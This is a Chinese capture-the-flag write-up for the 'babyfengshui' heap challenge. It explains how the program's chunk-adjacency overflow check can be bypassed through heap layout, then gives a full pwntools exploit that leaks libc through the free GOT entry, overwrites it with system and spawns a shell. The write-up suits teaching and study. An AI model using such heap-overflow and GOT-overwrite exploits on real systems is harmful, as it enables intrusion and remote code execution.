0%

babyfengshui

本题,首先,为了方便调试,我们需要解决alarm clock问题

程序运行几十秒后就会自动退出,所以,为了方便调试,我们需要先修改一下这个二进制

我们用十六进制编辑器把这几个指令nop(0x90)掉即可

然后,我们就开始做题了

查看创建功能的函数

这里创建了两个堆,第一个堆用来存储description,第二个堆用来存储第一个堆的指针以及name字符串

其数据结构大概是这样的

创建的时候,大概是这样的

1
2
3
4
5
char * description = (char *)malloc(n);  
memset(description,0,n);
Node * node = (Node *)malloc(0x80);
memset(node,0,0x80);
node->description = description;

即我们每次创建时,都会malloc两个堆,按照常规思想的情况,我们会以为它们在物理位置上相邻。但是会有例外情况发生。

让我们看看,这个程序是如何检测堆是否会溢出的

翻译过来,是这样的

1
2
3
if (node->description + n >= node-4) {  
//溢出
}

为什么这样判断?

这种判断只试用于description和node两个堆相邻的情况,如果description和和node两个堆不相邻,并且description在node的前面某地址处,那么就可以绕过这个检查,我们就能溢出堆了。

假如我们先create三次,并且我们设置的大小为0x80,此时,堆的布局如下

现在我们删除节点0,堆的布局如下

现在我们再create一个0x100节点后,堆的布局如下

这样,堆溢出的那个if不再有效,我们可以在description2输入数据,直到溢出到堆node2的地方。那么,我们就可以修改中间的这些堆的信息。

原理是什么?请看glibc内存管理机制

释放的内存块存储在bins里面,当申请时,会先从bins里找空闲的空间,如果找不到,再从TOP块切割一块给用户。并且,释放时,如果两块区域物理相邻,会发生合并,因此两块0x80的空间合并成了0x100的空间,当我们申请0x100空间的堆时,正好就分配到这个地方。

现在,我们的目的是修改堆node1里的description指针,我们改成free的got表地址,那么当我们输出description的内容时,就会输出free的地址,因为我们让它指向的是free的got表地址。这样我们就能泄露free的加载地址。

然后获得libc加载地址,获得system的地址。

然后我们编辑node1的description内容,相当于编辑free的got表内容,我们把它改成system的地址。这样,当我们调用free的时候,就是调用system。我们事先把/bin/sh输入到堆2中。那么我们delete(2)的时候,就getshell了。

我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#coding:utf8  
from pwn import *
from LibcSearcher import *

#sh = process('./babyfengshui1')
sh = remote('111.198.29.45',50469)
elf = ELF('./babyfengshui1')
#libc = elf.libc

def create(size,name,textLen,content):
sh.sendlineafter('Action:','0')
sh.sendlineafter('size of description:',str(size))
sh.sendlineafter('name:',name)
sh.sendlineafter('text length:',str(textLen))
sh.sendafter('text:',content)

def delete(index):
sh.sendlineafter('Action:','1')
sh.sendlineafter('index:',str(index))


def show(index):
sh.sendlineafter('Action:','2')
sh.sendlineafter('index:',str(index))


def edit(index,textLen,content):
sh.sendlineafter('Action:','3')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('text length:',str(textLen))
sh.sendafter('text:',content)

#经过分析,程序有这样一个结构
'''结构体
typedef struct Node {
void *description;
char name[0x80-4];
} Node;

当我们create(n)时
先是
char *description = (char *)malloc(n);
memset(description,0,n);
Node * node = (Node *)malloc(sizeof(Node));
memset(node,0,0x80);
node->description = description;

当我们删除时
先free Node里面的,再free Node
free(node->description);
free(node);
程序是这样检测堆是否溢出的,假如我们输入n
if (node->description + n >= node-4) {
//堆溢出
}
为什么这么判断?这是因为按照正常情况,这两个堆先后分配,如果之前没有free过其他堆,这两个堆会相邻
并且description堆先分配,在前面
而node堆后分配,在description后面
32位程序堆的结构如下
prev_size:4 bytes size:4 bytes
data:xxxxxxxxxxxxxxx
考虑到空间公用的情况(当申请空间的大小为4的奇数倍时,会将下一个堆的prev_size当成本堆的data区使用),prev_size会被前一个堆共用
我们malloc返回的指针是指向data区的data - 4 就是前一个堆的结尾
因此,看似这个检查很完美
然后,考虑到内存分配机制,如果我们之前free掉两个的堆,然后申请大于其中一个堆大小的空间,那么首先
char *description = (char *)malloc(n);会返回第一个free掉的堆的地址
然后,由于n大于大于第一个堆的空间,这样,在分配0x80大小的结构体堆时,相邻空间不够,即内存管理程序在对应的bin找不到合适的块
于是,从top块分出一块区域给它
'''

create(0x80,'chunk0',0x80,'a'*0x80)
create(0x80,'chunk1',0x80,'b'*0x80)
#存放/bin/sh字符串
create(0x10,'chunk2',0x8,'/bin/sh\x00')

'''''现在的堆是这样分布的
description0 chunk size:0x80
node0 chunk size:0x80
description1 chunk size:0x80
node1 chunk size:0x80
description2 chunk size:0x8
node2 chunk size:0x80
'''

delete(0)
'''''现在的堆是这样分布的

0x80*2大小的空闲块

description1 chunk size:0x80
node1 chunk size:0x80
description2 chunk size:0x8
node2 chunk size:0x80
'''


create(0x100,'chunk3',0x19C,'c'*0x198 + p32(elf.got['free']))
'''''现在的堆是这样分布的
description2 chunk size:0x100
0x80*2 - 0x100 大小的空闲块
description1 chunk size:0x80
node1 chunk size:0x80
description2 chunk size:0x8
node2 chunk size:0x80
node3 chunk size:0x80
node3-4是node2的尾部,那么,我们绕过了溢出检测,即我们可以在description2 chunk里输入数据,一直可以到node2结尾
那么,我们就把node1的description指针值覆盖为free的got表地址,那么当我们printf description的内容时,输出的就是
free的加载地址
'''
show(1)

sh.recvuntil('description: ')

free_addr = u32(sh.recv(4))

libc = LibcSearcher('free',free_addr)

#获取libc加载地址
#libc_base = free_addr - libc.sym['free']
#system_addr = libc_base + libc.sym['system']

libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')

#修改free的got表地址为system的地址
edit(1,4,p32(system_addr))
#getshell,相当于system(heap[2])
delete(2)

sh.interactive()

然而,在libc2.26及以上,不能用,因为tcache机制,使用单项链表维护,并且遵循后进先出规则,并且块不会合并。因此本人还未找到libc2.26及以上的方案,如果大佬有解决方案,欢迎联系我。